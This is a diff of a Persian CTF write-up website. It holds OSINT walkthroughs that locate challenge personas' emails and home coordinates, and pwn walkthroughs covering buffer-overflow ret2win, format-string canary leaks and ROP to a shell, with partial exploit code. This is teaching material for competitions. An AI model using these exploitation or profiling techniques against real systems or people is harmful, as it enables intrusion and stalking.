\ No newline at end of file diff --git a/osint/Tools/index.html b/osint/Tools/index.html index a545225d..908b634d 100644 --- a/osint/Tools/index.html +++ b/osint/Tools/index.html @@ -1,4 +1,4 @@ - ابزارهای مفید برای حل چالش ها - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

ابزارهای مفید برای حل چالش ها

سایت های آرشیو :

archive.ph

archive.org

🚩

\ No newline at end of file +-->

ابزارهای مفید برای حل چالش ها

سایت های آرشیو :

archive.ph

archive.org

🚩

\ No newline at end of file diff --git a/osint/index.html b/osint/index.html index 3d2f3b53..40a1a940 100644 --- a/osint/index.html +++ b/osint/index.html @@ -1,4 +1,4 @@ - اطلاعات منبع‌باز(𝙾sint) - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

اطلاعات منبع‌باز(𝙾sint)

اینترنت امروز به واسطه گسترش شبکه های اجتماعی، رسانه‌ها، سایت‌های سازمانی و شخصی یک منبع اطلاعاتی بزرگ است. اطلاعات منبع‌باز (𝙾𝚂𝙸𝙽𝚃) که سرنام عبارت  𝙾𝚙𝚎𝚗 𝚂𝚘𝚞𝚛𝚌𝚎 𝙸𝚗𝚝𝚎𝚕𝚕𝚒𝚐𝚎𝚗𝚌𝚎 است به اطلاعاتی گفته می‌شود به صورت آشکار و رایگان در فضای وب در دسترس همگان قرار دارد که با اندکی کنکاش می‌توان به آن‌ها دست یافت.

این اطلاعات مثل نام فرد و شغل آن بخودی خود اطلاعات محرمانه‌ای نیستند، اما می‌توانند به نتیجه‌گیری و به کار بردن آن‌ها برای یک هدف خاص کمک کنند. به عنوان مثال، از روی عکس‌های پروفایل اینستاگرام یک شخص می‌توان نتیجه گرفت که او به گردش در طبیعت علاقه دارد، پس می توان یک بدافزار به شکل یک عکس از طبیعت، شخص را وادار به اجرای آن کرد. با جمع‌آوری و استدلال روی این اطلاعات، یک مهاجم می‌تواند حمله‌های سایبری هدفمندتری را روی یک شخص یا سازمان پیاده کند.

osint.jpg

Osint در مسابقات CTF:

osint یک دسته‌ از چالش‌های در CTF است که در چند سال اخیر بخاطر گسترش داده‌های موجود در وب و کمک آن به شناسایی (Recon) هدف به این مسابقات اضافه شده است. در این نوع از چالش‌ها فرد باید مانند یک کاراگاه اطلاعات مختلف در رابطه با یک موضوع را کنار هم بچیند و سرنخ‌های مختلف را دنبال کند تا به هدف چالش یعنی پیدا کردن فلگ برسد. در این راه می‌توان از ابزارهای مختلف مانند موتور‌های جستجو، شبکه‌های اجتماعی، وبسایت‌ها و شواهد موجود در تصاویر بهره ببرد تا فلگ را پیدا کند.

\ No newline at end of file +-->

اطلاعات منبع‌باز(𝙾sint)

اینترنت امروز به واسطه گسترش شبکه های اجتماعی، رسانه‌ها، سایت‌های سازمانی و شخصی یک منبع اطلاعاتی بزرگ است. اطلاعات منبع‌باز (𝙾𝚂𝙸𝙽𝚃) که سرنام عبارت  𝙾𝚙𝚎𝚗 𝚂𝚘𝚞𝚛𝚌𝚎 𝙸𝚗𝚝𝚎𝚕𝚕𝚒𝚐𝚎𝚗𝚌𝚎 است به اطلاعاتی گفته می‌شود به صورت آشکار و رایگان در فضای وب در دسترس همگان قرار دارد که با اندکی کنکاش می‌توان به آن‌ها دست یافت.

این اطلاعات مثل نام فرد و شغل آن بخودی خود اطلاعات محرمانه‌ای نیستند، اما می‌توانند به نتیجه‌گیری و به کار بردن آن‌ها برای یک هدف خاص کمک کنند. به عنوان مثال، از روی عکس‌های پروفایل اینستاگرام یک شخص می‌توان نتیجه گرفت که او به گردش در طبیعت علاقه دارد، پس می توان یک بدافزار به شکل یک عکس از طبیعت، شخص را وادار به اجرای آن کرد. با جمع‌آوری و استدلال روی این اطلاعات، یک مهاجم می‌تواند حمله‌های سایبری هدفمندتری را روی یک شخص یا سازمان پیاده کند.

osint.jpg

Osint در مسابقات CTF:

osint یک دسته‌ از چالش‌های در CTF است که در چند سال اخیر بخاطر گسترش داده‌های موجود در وب و کمک آن به شناسایی (Recon) هدف به این مسابقات اضافه شده است. در این نوع از چالش‌ها فرد باید مانند یک کاراگاه اطلاعات مختلف در رابطه با یک موضوع را کنار هم بچیند و سرنخ‌های مختلف را دنبال کند تا به هدف چالش یعنی پیدا کردن فلگ برسد. در این راه می‌توان از ابزارهای مختلف مانند موتور‌های جستجو، شبکه‌های اجتماعی، وبسایت‌ها و شواهد موجود در تصاویر بهره ببرد تا فلگ را پیدا کند.

\ No newline at end of file diff --git a/osint/writeups/0xL4ughCTF/cheater/index.html b/osint/writeups/0xL4ughCTF/cheater/index.html index 439ed7d1..a42a6e26 100644 --- a/osint/writeups/0xL4ughCTF/cheater/index.html +++ b/osint/writeups/0xL4ughCTF/cheater/index.html @@ -1,4 +1,4 @@ - cheater - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Cheater


challenge cover.png

1- اسم Hamdia Eldhkawy در گوگل جستجو کردم که بعد تعدادی صفحه اینستاگرام، به این آدرس رسیدم.

1.png

2- اسم اکانت hamdia_elhob_kolo در موتور جستجو DuckDuckgo جستجو کردم به یک فروم OpenAI می رسیم که عکس زیر آنجا بود.

2.png

3- در متن کنار این عکس یک به نظر یک اکانت spider@ هست که اون رو زیاد جستجو کردم که نتیجه نداشت. بعد، آدرس url موجود در عکس جستجو کردم که فهمیدم این عکس اینستاگرام حذف شده است. توی سایت‌های آرشیو دنبال url گشتم که در سایت archive.ph زیر این صفحه ثبت شده بود. پس تکمیل شده اکانت spidersh4zly@ بدست آوردیم.

3.jng

4- اسم اکانت spidersh4zly@ جستجوکردم که به مارو به صفحه اینستا زیر می بره.

4.png

5- آدرس url داخل این صفحه رو که بزنیم به صفحه زیر میریم که اکانت های توییتر، فیس بوک و یک آدرس جی‌میل (spidersh4zly4love@gmail.com) در اونجا هست.

5.png

6- حالا با استفاده از ابزار Ghunt اطلاعات مربوط به این ایمیل را بدست آوردیم که اسم و فامیل صاحب این ایمیل هم بدست آمد.


FLAG 🚩

0xL4ugh{Abdelfatah_ElCanaway}

نویسنده

HIGHer

\ No newline at end of file +-->

چالش Cheater


challenge cover.png

1- اسم Hamdia Eldhkawy در گوگل جستجو کردم که بعد تعدادی صفحه اینستاگرام، به این آدرس رسیدم.

1.png

2- اسم اکانت hamdia_elhob_kolo در موتور جستجو DuckDuckgo جستجو کردم به یک فروم OpenAI می رسیم که عکس زیر آنجا بود.

2.png

3- در متن کنار این عکس یک به نظر یک اکانت spider@ هست که اون رو زیاد جستجو کردم که نتیجه نداشت. بعد، آدرس url موجود در عکس جستجو کردم که فهمیدم این عکس اینستاگرام حذف شده است. توی سایت‌های آرشیو دنبال url گشتم که در سایت archive.ph زیر این صفحه ثبت شده بود. پس تکمیل شده اکانت spidersh4zly@ بدست آوردیم.

3.jng

4- اسم اکانت spidersh4zly@ جستجوکردم که به مارو به صفحه اینستا زیر می بره.

4.png

5- آدرس url داخل این صفحه رو که بزنیم به صفحه زیر میریم که اکانت های توییتر، فیس بوک و یک آدرس جی‌میل (spidersh4zly4love@gmail.com) در اونجا هست.

5.png

6- حالا با استفاده از ابزار Ghunt اطلاعات مربوط به این ایمیل را بدست آوردیم که اسم و فامیل صاحب این ایمیل هم بدست آمد.


FLAG 🚩

0xL4ugh{Abdelfatah_ElCanaway}

نویسنده

HIGHer

\ No newline at end of file diff --git a/osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/index.html b/osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/index.html index 1c09197e..17b397e3 100644 --- a/osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/index.html +++ b/osint/writeups/wctf/WOLPHV-I/WOLPHV-I-Reconnaissance/index.html @@ -1,4 +1,4 @@ - WOLPHV-I - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش WOLPHV-I: Reconnaissance


challenge cover.jpg

توی این چالش با اینکه گفته شده که برای پیدا کردن فلگ نباید دنبال آن در اکانت های توییتر خود گروه Wolphv باشیم ولی با یک جستجو توی اینترنت در مورد این باج‌افزار به یک توییت بر میخوریم که در مورد این باج افزار توییتی زده.

google search.png

بعد از باز کردن و بررسی قسمت نظرات ، پایین ترین کامنت یک کد base64 هست که احتمالا باید فلگ باشه. بعد دیکد کردن آن فلگ بدست میاد.

twitter comments.jpg

این سوال ساده‌ای بود اما نکته گمراه کننده این بود که در توضیحات چالش گفته بود که نباید به توییتر توجه کرد.


FLAG 🚩

wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

نویسنده

HIGHer

\ No newline at end of file +-->

چالش WOLPHV-I: Reconnaissance


challenge cover.jpg

توی این چالش با اینکه گفته شده که برای پیدا کردن فلگ نباید دنبال آن در اکانت های توییتر خود گروه Wolphv باشیم ولی با یک جستجو توی اینترنت در مورد این باج‌افزار به یک توییت بر میخوریم که در مورد این باج افزار توییتی زده.

google search.png

بعد از باز کردن و بررسی قسمت نظرات ، پایین ترین کامنت یک کد base64 هست که احتمالا باید فلگ باشه. بعد دیکد کردن آن فلگ بدست میاد.

twitter comments.jpg

این سوال ساده‌ای بود اما نکته گمراه کننده این بود که در توضیحات چالش گفته بود که نباید به توییتر توجه کرد.


FLAG 🚩

wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}

نویسنده

HIGHer

\ No newline at end of file diff --git a/osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/index.html b/osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/index.html index 0ec659ea..bb053290 100644 --- a/osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/index.html +++ b/osint/writeups/wctf/WOLPHV-III/WOLPHV-III-p1nesh4dow48/index.html @@ -1,4 +1,4 @@ - WOLPHV-III - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش WOLPHV-III: p1nesh4dow48


challenge cover.png

بعد از اینکه تونستیم به سرور دیسکورد گروه در چالش قبلی وارد بشیم برای این سوال مختصات آدرس آپارتمان اکانت p1nesh4dow48 از ما میخواد که داخل سرور این گروه همین شخص عکس آپارتمانش رو گذاشته است.

discord image.png

خب برای حل این چالش اولین چیزی که به ذهنم رسید این بود که داخل google image دنبال این عکس بگردم که با حالت ها و تکه های مختلف عکس با google lenz جسجو کردم ولی فایده‌ای نداشت و آپارتمان ها هیچکدوم این اپارتمان نبود.

google image.png

با دقت به عکس یک تابلو سمت چپ عکس می‌بینیم که نوشته شدهPine Ridge visitor parking only که ذهنم برد به سمت اینکه ممکنه احتمالا Pine ridgeیک مکان دیدنی باید باشه که مردم برای بازدید به اونجا میان و این آپارتمان نزدیک اونه. پس توی اینترنت چند ساعت دنبال این مکان دیدنی گشتم ولی فایده نداشت. بعد از مدتی، داخل google Map کلمات کلیدی Pine Ridge apartments michigan چون حدس زدم اسم آپارتمان شاید این باشه و چون در رابطه دانشگاه میشگان بودن این افراد که نقاط عکس زیر به ما نشون داد یکی از اون‌ها شباهت به همین آپارتمان موردنظر داشت بعد که وارد street view شدم دیدم که بله خودشه 🫰.

apartment.png

پس جستجوی کلمه کلیدی مناسب خیلی مهمه


FLAG 🚩

wctf{46.546,-87.388}

نویسنده

HIGHer

\ No newline at end of file +-->

چالش WOLPHV-III: p1nesh4dow48


challenge cover.png

بعد از اینکه تونستیم به سرور دیسکورد گروه در چالش قبلی وارد بشیم برای این سوال مختصات آدرس آپارتمان اکانت p1nesh4dow48 از ما میخواد که داخل سرور این گروه همین شخص عکس آپارتمانش رو گذاشته است.

discord image.png

خب برای حل این چالش اولین چیزی که به ذهنم رسید این بود که داخل google image دنبال این عکس بگردم که با حالت ها و تکه های مختلف عکس با google lenz جسجو کردم ولی فایده‌ای نداشت و آپارتمان ها هیچکدوم این اپارتمان نبود.

google image.png

با دقت به عکس یک تابلو سمت چپ عکس می‌بینیم که نوشته شدهPine Ridge visitor parking only که ذهنم برد به سمت اینکه ممکنه احتمالا Pine ridgeیک مکان دیدنی باید باشه که مردم برای بازدید به اونجا میان و این آپارتمان نزدیک اونه. پس توی اینترنت چند ساعت دنبال این مکان دیدنی گشتم ولی فایده نداشت. بعد از مدتی، داخل google Map کلمات کلیدی Pine Ridge apartments michigan چون حدس زدم اسم آپارتمان شاید این باشه و چون در رابطه دانشگاه میشگان بودن این افراد که نقاط عکس زیر به ما نشون داد یکی از اون‌ها شباهت به همین آپارتمان موردنظر داشت بعد که وارد street view شدم دیدم که بله خودشه 🫰.

apartment.png

پس جستجوی کلمه کلیدی مناسب خیلی مهمه


FLAG 🚩

wctf{46.546,-87.388}

نویسنده

HIGHer

\ No newline at end of file diff --git a/osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/index.html b/osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/index.html index f7773806..47b657a3 100644 --- a/osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/index.html +++ b/osint/writeups/wctf/WOLPHV-IV/WOLPHV-IV-d4wgbyte262/index.html @@ -1,4 +1,4 @@ - WOLPHV-IV - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش WOLPHV-IV: d4wgbyte262


challenge cover.jpg

در این چالش هم باید مثل قبلی محل سکونت یکی دیگه از اعضای گروه دیسکورد یعنی d4wgbyte262 پیدا کنیم. با توجه به صحبت های که توی گروه داشتن نشون میده که ای شخص سگ دارهو در مورد یک چیزی به اسم flick می‌کنند.

discord chats.png

با این اطلاعات اولین کاری که کردم این بود که ببینم آیا اکانت دیگه‌ای با این اسم داخل شبکه های اجتماعی دیگه هست یا نه. پس در سایت discoverprofile اکانت این شخص جستجو کردم که نتیجه بدرد بخوری نداشت. بعد توی موتور DuckDuckgo هم گشتم که یک سایت به اسم flickr نظرم جلب کرد و بعد که داخلش رفتم عکس‌های زیاد از یک سگ به اشتراک گذاشته شده بود. پس فهمیدم که تا این جا درسته و این اکانت یک ربطی به داستان داره.🫰

flickr account.png

عکس ها رو بررسی کردیم که شاید نشانه‌ای از خانه این شخص باشه ولی چیزی دستگیرم نشد. بعد چنتا از عکس‌ها رو دانلود کردم و با ابزار exiftool اطلاعات داخل عکس نگاه کردم که دیدم یک موقعیت جغرافیایی داخل هر عکس هست.

ولی متاسفانه هر عکس یک موقعیت جغرافیایی متفاوت از نقطههای مختلف شهر داشت و نمیشد موقعیت دقیق خانه بدست آورد. یک مدتی درگیر همین بودم که دوباره دیسکورد نگاه کردم و از صحبت هاشون متوجه شدم که خانه‌اش نزدیک‌ترین موقعیت به یک ایستگاه آتش‌نشانی باید باشه.

discord chats 2.png

پس با نگاه کردن به موقعیت هر عکس نزدیک‌ترین مکان به ایستگاه آتش‌نشانی رو بدست آوردیم.

house coordinates.png


FLAG 🚩

wctf{51.0911, -113.9561}

نویسنده

HIGHer

\ No newline at end of file +-->

چالش WOLPHV-IV: d4wgbyte262


challenge cover.jpg

در این چالش هم باید مثل قبلی محل سکونت یکی دیگه از اعضای گروه دیسکورد یعنی d4wgbyte262 پیدا کنیم. با توجه به صحبت های که توی گروه داشتن نشون میده که ای شخص سگ دارهو در مورد یک چیزی به اسم flick می‌کنند.

discord chats.png

با این اطلاعات اولین کاری که کردم این بود که ببینم آیا اکانت دیگه‌ای با این اسم داخل شبکه های اجتماعی دیگه هست یا نه. پس در سایت discoverprofile اکانت این شخص جستجو کردم که نتیجه بدرد بخوری نداشت. بعد توی موتور DuckDuckgo هم گشتم که یک سایت به اسم flickr نظرم جلب کرد و بعد که داخلش رفتم عکس‌های زیاد از یک سگ به اشتراک گذاشته شده بود. پس فهمیدم که تا این جا درسته و این اکانت یک ربطی به داستان داره.🫰

flickr account.png

عکس ها رو بررسی کردیم که شاید نشانه‌ای از خانه این شخص باشه ولی چیزی دستگیرم نشد. بعد چنتا از عکس‌ها رو دانلود کردم و با ابزار exiftool اطلاعات داخل عکس نگاه کردم که دیدم یک موقعیت جغرافیایی داخل هر عکس هست.

ولی متاسفانه هر عکس یک موقعیت جغرافیایی متفاوت از نقطههای مختلف شهر داشت و نمیشد موقعیت دقیق خانه بدست آورد. یک مدتی درگیر همین بودم که دوباره دیسکورد نگاه کردم و از صحبت هاشون متوجه شدم که خانه‌اش نزدیک‌ترین موقعیت به یک ایستگاه آتش‌نشانی باید باشه.

discord chats 2.png

پس با نگاه کردن به موقعیت هر عکس نزدیک‌ترین مکان به ایستگاه آتش‌نشانی رو بدست آوردیم.

house coordinates.png


FLAG 🚩

wctf{51.0911, -113.9561}

نویسنده

HIGHer

\ No newline at end of file diff --git a/pwn/index.html b/pwn/index.html index 2e390778..78d61a56 100644 --- a/pwn/index.html +++ b/pwn/index.html @@ -1,4 +1,4 @@ - PWN - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

PWN

خب حالا بریم ببینیم که اصلا PWN یعنی چی و همچین کلمه ای از کجا میاد ؟!

کلمه PWN توی دیکشنری به معنی شکست دادن یا به دست آوردن کنترل کسی یا یک چیزی هست و در واقع یک واژه ای هست که در طول زمان توسط هکرها و بعضا گیمرها به وجود میاد. اگر دقت کرده باشین به کیبوردتون میبینید که دو حرف P و O توی چینش QWERTY درکنار همدیگه قرار گرفتن و احتمالا میدونین که چی میخوام بگم حالا!

بله دقیقا! کلمه PWN به خاطر ی غلط املایی در پی نوشتن کلمه OWN به وجود میاد و به همین خاطره که شما وقتی PWN رو گوگل میکنید اغلب میگن که این کلمه مثل OWN تلفظ میشه یا معنی اش میشه تصاحب کردن چیزی و از این حرفا!

توی مسابقات CTF هم اگه که پلی داده باشین یا حداقل پیش دوستاتون ی چیزایی دیده باشین متوجه شدین که یک فایل باینری یا... رو به شما میدن و ازتون میخوان که از آسیب پذیری توی این برنامه استفاده کنید تا بتونید باهاش سروری که آی‌پی و پورت اش در اختیارتون قرار گرفته رو تصاحب کنید و یک FLAG رو در نهایت به دست بیارین.

پس داشتن دانش توی حوزه باینری و زبان های برنامه نویسی مثل Assembly و C و CPP و مشابه، میتونه در موفتیت شما توی این مسیر خیلی کمک کننده و مهم باشه!

یکی از اهداف مهمی که این بخش توی CTF ها داره این هست که بتونه به شما Secure Coding رو یاد بده!

در نهایت میتونید از مهارت هایی که توی این بخش به دست میارید در توسعه Exploit استفاده کنید.

\ No newline at end of file +-->

PWN

خب حالا بریم ببینیم که اصلا PWN یعنی چی و همچین کلمه ای از کجا میاد ؟!

کلمه PWN توی دیکشنری به معنی شکست دادن یا به دست آوردن کنترل کسی یا یک چیزی هست و در واقع یک واژه ای هست که در طول زمان توسط هکرها و بعضا گیمرها به وجود میاد. اگر دقت کرده باشین به کیبوردتون میبینید که دو حرف P و O توی چینش QWERTY درکنار همدیگه قرار گرفتن و احتمالا میدونین که چی میخوام بگم حالا!

بله دقیقا! کلمه PWN به خاطر ی غلط املایی در پی نوشتن کلمه OWN به وجود میاد و به همین خاطره که شما وقتی PWN رو گوگل میکنید اغلب میگن که این کلمه مثل OWN تلفظ میشه یا معنی اش میشه تصاحب کردن چیزی و از این حرفا!

توی مسابقات CTF هم اگه که پلی داده باشین یا حداقل پیش دوستاتون ی چیزایی دیده باشین متوجه شدین که یک فایل باینری یا... رو به شما میدن و ازتون میخوان که از آسیب پذیری توی این برنامه استفاده کنید تا بتونید باهاش سروری که آی‌پی و پورت اش در اختیارتون قرار گرفته رو تصاحب کنید و یک FLAG رو در نهایت به دست بیارین.

پس داشتن دانش توی حوزه باینری و زبان های برنامه نویسی مثل Assembly و C و CPP و مشابه، میتونه در موفتیت شما توی این مسیر خیلی کمک کننده و مهم باشه!

یکی از اهداف مهمی که این بخش توی CTF ها داره این هست که بتونه به شما Secure Coding رو یاد بده!

در نهایت میتونید از مهارت هایی که توی این بخش به دست میارید در توسعه Exploit استفاده کنید.

\ No newline at end of file diff --git a/pwn/writeups/SnappCTF/Snapp_admin/index.html b/pwn/writeups/SnappCTF/Snapp_admin/index.html index 83fa085e..e9614f2c 100644 --- a/pwn/writeups/SnappCTF/Snapp_admin/index.html +++ b/pwn/writeups/SnappCTF/Snapp_admin/index.html @@ -1,4 +1,4 @@ - Snapp_admin - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Snapp_admin

Snapp_admin1.png

سلام گایززز چطور مطوریایین؟ خب بریم با ی چلنج دیگه از SnappCTF ببینیم چیخبراست؟! :) در ابتدای کار با استفاده از ابزار checksec متوجه میشیم که فایل باینری دارای Stack Canary و PIE نیست.

Snapp_admin2.png

بعد از این کار سعی میکنیم تا با ghidra یک بررسی روی توابع برنامه انجام بدیم و با چنین صحنه ای مواجه میشیم(قسمت هایلایت شده) :

Snapp_admin3.png

وجود تابع gets در برنامه ما رو به این سمت هدایت میکنه که برنامه آسیب پذیری BufferOverflow رو داره. از طرفی وجود تابع is_admin تاییدی هست برای این موضوع که باید از تکنیک ret2win استفاده کنیم.

Snapp_admin4.png

به طور خلاصه کاری که در این تکنیک انجام میشه این هست که return pointer یا EIP(rip) رو overwrite میکنیم به سمت یک آدرس دلخواه تا پس از اتمام یک تابع به جای برگشت برنامه به مسیر و روند اصلی خود، به سمت دلخواه ما تغییر مسیر دهد و تابع مورد نظر ما اجرا شود. برای اینکه این کارو انجام بدیم نیاز هست که بدونیم offset ما کجاست و درواقع در کجای استک هست که rip از اونجا شروع میشه و با بازنویسی (Overwrite) کردن اون میتونیم به هدفمون برسیم. قبل از اینکه به تابع gets برسیم خیلی واضح هست که باید اولین ورودی که به برنامه میدیم باید عدد 9606 باشه تا بتونیم وارد دستورات بلوک if بشیم و تابع gets از ما ورودی بعدی رو بگیره. خیلی راحت سعی میکنم تا برنامه رو توی gdb بازش کنیم و با استفاده از دستورات مثل pattern create و pattern search به پیدا کردن offset ها میپردازیم. لینک زیر بهتر میتونه شما رو در این باره راهنمایی کنه :

Pattern

بعد از پیدا کردن offset سعی میکنیم تا تابعی که قصد داریم تا در نهایت به سمت اون ret کنیم رو در payload خودمون بذاریم و اون رو به برنامه بدیم. برای پیدا کردن آدرس تابع is_admin میتونیم از دستور زیر استفاده کنیم:

readelf -s snapp_admin | grep -i is_admin

یا توی gdb از دستور info functions استفاده کنیم. با پیدا کردن offset و آدرس تابع is_admin و به کار گرفتن pwntools حالا خیلی راحت میتونیم به is_admin برسیم. تنها قدمی که میمونه اینه که ما بعد از ورود به تابع is_admin باید دو مقدار دیگه رو به عنوان ورودی به برنامه بدیم تا فلگ برامون نمایش داده بشه. اولین مقداری که بعد از ورود به این تابع به برنامه میدیم باید 9600 باشه. چرا که تابع read تنها در صورتی که اولین آرگومانش صفر باشه میاد ازما ورودی بعدی رو میگیره و ما به گرفتن ورودی بعدی نیاز داریم چرا که باید دستورات درون بلوک if اجرا شوند که شامل دستور نمایش فلگ هم هست. در آخرین قسمت ماجرا هم برنامه از ما ورودی چهارم رو که SNAPP هست رو میگیره و تمام!

Snapp_admin5.png

و در آخر exploit نهایی این چالش :

from pwn import *
@@ -18,4 +18,4 @@
 
 for i in range(8, 16):
     run(i*4)
-

FLAG 🚩

SNAPP{Wh3Re_is_@dm1n_I_f0rgoT_my_cOd3}


نویسنده

nim0x2a

\ No newline at end of file +

FLAG 🚩

SNAPP{Wh3Re_is_@dm1n_I_f0rgoT_my_cOd3}


نویسنده

nim0x2a

\ No newline at end of file diff --git a/pwn/writeups/SnappCTF/Snappshell/index.html b/pwn/writeups/SnappCTF/Snappshell/index.html index cfdc1da1..37323f03 100644 --- a/pwn/writeups/SnappCTF/Snappshell/index.html +++ b/pwn/writeups/SnappCTF/Snappshell/index.html @@ -1,4 +1,4 @@ - Snappshell - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

Snappshell

challenge

در این چالش با یک فایل فشرده رو به رو هستیم که شامل یک فایل باینری و یک Dockerfile هست. در ابتدا از طریق دستور checksec با چنین تصویر ترسناکی رو به رو میشیم! :)

Snappshell-2.png

بعد از اینکه فایل باینری رو با gdb و ghidra بررسی میکنیم متوجه میشیم که هیچ تابعی برای ret2win کردن وجود نداره و همچنین فعال بودن NX متوجه میشیم که نیاز به شل گرفتن از برنامه هست ولی خب چطوری باید این کارو کرد؟! برای اینکه به این هدفمون دست پیدا کنیم نیازه تا از تکنیک ROP برای دور زدن NX استفاده کنیم. یکی از موانع سر راه همونطوری که توی عکس بالا هم پیداست فعال بودن یک مکانیسم امنیتی دیگه به اسم Stack Canary هست. برای اینکه یک قدم رو به جلو حرکت کنیم اول سعی میکنیم تا Canary رو دور بزنیم. بعد از اینکه توابع به کار رفته توی برنامه رو دقیق تر با ghidra بررسی میکنیم چشممون به تابع printf ای میوفته (توی تابع echo برنامه، هایلاتش کردم توی تصویر زیر) که آسیب پذیری Format String رو داره و احتمالا میتونیم از این طریق به مقدار cookie و... که توی استک موجود هستن دست پیدا کنیم.

Snappshell-3.png

بعد از کلی سر و کله زدن با این آسیب پذیری (و یا خودکار کردن روندش با یک کد پایتون ساده) به ی همچین ساختاری میرسیم.

%31$p

با فرستادن یک همچین استرینگی به سمت تابع echo برنامه ، خیلی راحت مقدار cookie رو به دست میاریم.

Snappshell-4.png

بعد از اینکه canary رو اوکی کردیم میریم سراغ قسمت سخت ماجرا یعنی پیدا کردن gadget های مناسب و استفاده ازشون برای ساخت زنجیره ROP امون و اینکه چطوری میشه این زنجیره رو به خورد برنامه داد.

جواب ما توی تابع find_index هست. توی این تابع با یک gets رو به رو هستیم و به صورت دیفالت وقتی این تابع رو میبینیم باید یاد آسیب پذیری BufferOverflow بیوفتیم.

Snappshell-5.png

برای این قسمت که باید بدونین به چه gadget هایی نیاز دارید و دستتون بیاد حدودا که چطوری باید ROP رو اوکی کنید (و یکمم خودتون تلاش کنین) ارجاعتون میدم به لینک های زیر:
Bypassing Canary & PIE

ROP - Leaking LIBC address

ROP: bypass NX, ASLR, PIE and Canary

از جمله مواردی که نیاز میشه اینجا بهش توجه کنین این هست برای استفاده از gadget ها احتمالا نیازتون میشه که از libc درستی استفاده کنید. واسه اینکار باید به اون Dockerfile دقت میکردید و بعد از وصل شدن به docker سعی میکردید تا libc اصلی رو کپی کنید روی سیستم خودتون. دستور زیر میتونه کار رو دربیاره :

. docker cp 4fd9a29bfcdc:/usr/lib/x86_64-linux-gnu/libc.so.6

بعد از این شما libc رو دارید و تنها کافیه تا برای پیدا کردن pop و sh و ret و system از ابزار ROPgadget و یکمم pwntools استفاده کنید. یک نمونه رو هم میتونید توی تصویر زیر ببینید:

Snappshell-6.png

در نهایت بعد از همه این قضایا به exploit زیر میرسیم :

from pwn import *
@@ -38,4 +38,4 @@
 
 p.interactive()
 p.close()
-

FLAG 🚩

SNAPP{Sn4Pp_sH3ll_leT_m3_!!nn}


نویسنده

nim0x2a

\ No newline at end of file +

FLAG 🚩

SNAPP{Sn4Pp_sH3ll_leT_m3_!!nn}


نویسنده

nim0x2a

\ No newline at end of file diff --git a/reverse/index.html b/reverse/index.html index 5b84491d..05d6a121 100644 --- a/reverse/index.html +++ b/reverse/index.html @@ -1,4 +1,4 @@ - مهندسی معکوس - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

مهندسی معکوس

برنامه نویسا چیکار میکنن؟

یه برنامه به زبون های مختلف مینویسن و اگه زبونی که باهاش برنامه مینویسن، کامپایلری باشه، یه کامپایلر میاد و کد هاشون رو تبدیل به زبان اسمبلی میکنه که برای انسان خوندنش خیلی سخته

اینجاس که ما وارد عمل میشیم و با خوندن زبان ماشین و اسمبلی، منطق کد رو درک میکنیم

فک کنم تا الان فهمیده باشین که ما انسان های عادی نیستیم

ما مهندسان معکوس هستیم 🔥

\ No newline at end of file +-->

مهندسی معکوس

برنامه نویسا چیکار میکنن؟

یه برنامه به زبون های مختلف مینویسن و اگه زبونی که باهاش برنامه مینویسن، کامپایلری باشه، یه کامپایلر میاد و کد هاشون رو تبدیل به زبان اسمبلی میکنه که برای انسان خوندنش خیلی سخته

اینجاس که ما وارد عمل میشیم و با خوندن زبان ماشین و اسمبلی، منطق کد رو درک میکنیم

فک کنم تا الان فهمیده باشین که ما انسان های عادی نیستیم

ما مهندسان معکوس هستیم 🔥

\ No newline at end of file diff --git a/reverse/writeups/BSidesSF/TuringComplete/index.html b/reverse/writeups/BSidesSF/TuringComplete/index.html index fe292130..70dccf7c 100644 --- a/reverse/writeups/BSidesSF/TuringComplete/index.html +++ b/reverse/writeups/BSidesSF/TuringComplete/index.html @@ -1,4 +1,4 @@ - Turing Complete - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

چالش Turing Complete

TuringComplete

🔗 دانلود چلنج

نگاه اولیه به سوال

در این سوال به ما یک فایل با نام turing-complete داده شده بود. در ابتدا برای اینکه بفهمیم با چه چیزی روبرو هستیم دستور file رو روش اجرا میکنیم

$ file turing-complete
@@ -114,4 +114,4 @@
 flag = p.clean(2).split()[-1]
 for i in range(0, len(flag), 8):
     print(chr(int(flag[i:i+8], 2)), end='')
-

FLAG 🚩

CTF{rip-1912-1954}

نویسنده

mheidari98

\ No newline at end of file +

FLAG 🚩

CTF{rip-1912-1954}

نویسنده

mheidari98

\ No newline at end of file diff --git a/reverse/writeups/BSidesSF/shinji/index.html b/reverse/writeups/BSidesSF/shinji/index.html index 6eed895f..ca930478 100644 --- a/reverse/writeups/BSidesSF/shinji/index.html +++ b/reverse/writeups/BSidesSF/shinji/index.html @@ -1,4 +1,4 @@ - Shinji - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Shinji

